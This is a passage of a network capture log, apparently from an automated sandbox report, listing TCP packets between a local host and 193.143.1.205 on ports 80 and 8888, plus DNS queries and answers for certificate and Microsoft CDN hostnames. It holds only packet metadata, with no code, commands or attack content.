Jan 10, 2025 17:10:45.506541967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506553888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506567955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506580114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506587982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506596088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506609917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506618023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506644011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506711006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506746054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506767035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506777048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506782055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506792068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506798029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506803989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506819010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506831884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506834030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506861925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506926060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506938934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506952047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506963968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506964922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506983995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506995916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.507019043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.507038116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.507044077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.507050991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.507066011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.507077932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.507078886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.507103920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.510634899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.510658026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.510670900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.510683060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.510685921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.510700941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.510721922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.510754108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.514672995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.514694929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.514770031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.535161018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.535182953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.535196066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.535207033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.535219908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.535232067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.535244942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.535280943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.535332918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.552144051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552171946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552186012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552198887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552212954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552223921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552236080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552248955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552367926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.552409887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.552768946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552820921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.552845001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552856922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552877903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552889109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552900076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552910089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.552915096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552927971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552930117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.552957058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.552967072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552979946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.552992105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.553004026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.553006887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.553025961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.593009949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.783385038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.788794994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788816929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788831949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788845062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788851023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788856983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788872004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.788875103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788888931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788901091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788908005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.788912058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788927078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788937092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788949966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788960934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.788961887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788969040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788975000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.788979053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789015055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789025068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789027929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789040089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789052963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789063931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789073944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789077997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789089918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789093018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789108038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789119959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789129972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789134979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789146900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789148092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789164066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789171934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789201021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789271116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789283037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789294004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789304972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789316893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789329052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789340973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789341927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789351940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789366007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789371967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789372921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789377928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789383888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789405107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789422035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789422989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789442062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789453030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789462090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789467096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789479971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789490938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789491892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789504051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789521933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789527893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789535046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789541006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789552927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789578915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789582968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789618015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789714098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789792061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789803028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789819002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789834976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789848089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789859056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789861917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789872885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789897919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789917946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.789968967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789980888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.789990902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790004969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790014982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790015936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790029049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790040970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790049076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790052891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790071964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790108919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790110111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790121078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790132999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790143967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790154934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790157080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790168047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790174961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790179968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790191889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790203094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790208101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790239096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790251970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790266037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790277004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790287971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790290117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790298939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790317059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790319920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790328979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790340900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790347099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790352106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790368080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790380955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790385008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790385962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790393114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790397882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790404081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790406942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790467024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790550947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790569067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790581942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790606022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790613890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790618896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790633917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790642023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790646076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790657997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790673018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790676117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790688992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790689945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790700912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790714979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790728092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790734053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790747881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790756941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790766001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790771961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790779114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790783882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790790081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790796041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790807962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790844917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790882111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790894985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790905952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790916920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790930033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790935040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790955067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790971041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.790977955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.790990114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.791001081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.791012049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.791019917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.791023970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.791037083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.791049004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.791049957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.791060925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.791089058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.791112900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.993103027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.993160963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:46.269145012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:46.709578037 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:46.714876890 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:46.714960098 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:46.715142965 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:46.719970942 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:47.546694040 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:47.592211008 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:48.505577087 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:10:59.710374117 CET	57679	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:10:59.710374117 CET	192.168.2.6	1.1.1.1	0x93b2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:10:59.717551947 CET	1.1.1.1	192.168.2.6	0x93b2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:10:59.901141882 CET	1.1.1.1	192.168.2.6	0x8631	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:10:59.901141882 CET	1.1.1.1	192.168.2.6	0x8631	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:23.497948885 CET	1.1.1.1	192.168.2.6	0xc453	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:23.497948885 CET	1.1.1.1	192.168.2.6	0xc453	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:47.606926918 CET	1.1.1.1	192.168.2.6	0xbcfa	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:47.606926918 CET	1.1.1.1	192.168.2.6	0xbcfa	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:59.366946936 CET	1.1.1.1	192.168.2.6	0xe8a	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:11:59.366946936 CET	1.1.1.1	192.168.2.6	0xe8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:59.366946936 CET	1.1.1.1	192.168.2.6	0xe8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:59.366946936 CET	1.1.1.1	192.168.2.6	0xe8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:59.366946936 CET	1.1.1.1	192.168.2.6	0xe8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:59.366946936 CET	1.1.1.1	192.168.2.6	0xe8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:59.366946936 CET	1.1.1.1	192.168.2.6	0xe8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:59.366946936 CET	1.1.1.1	192.168.2.6	0xe8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:59.366946936 CET	1.1.1.1	192.168.2.6	0xe8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:11.702538013 CET	1.1.1.1	192.168.2.6	0x73d6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:12:11.702538013 CET	1.1.1.1	192.168.2.6	0x73d6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:11.702538013 CET	1.1.1.1	192.168.2.6	0x73d6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:11.702538013 CET	1.1.1.1	192.168.2.6	0x73d6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:11.702538013 CET	1.1.1.1	192.168.2.6	0x73d6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:11.702538013 CET	1.1.1.1	192.168.2.6	0x73d6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:11.702538013 CET	1.1.1.1	192.168.2.6	0x73d6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
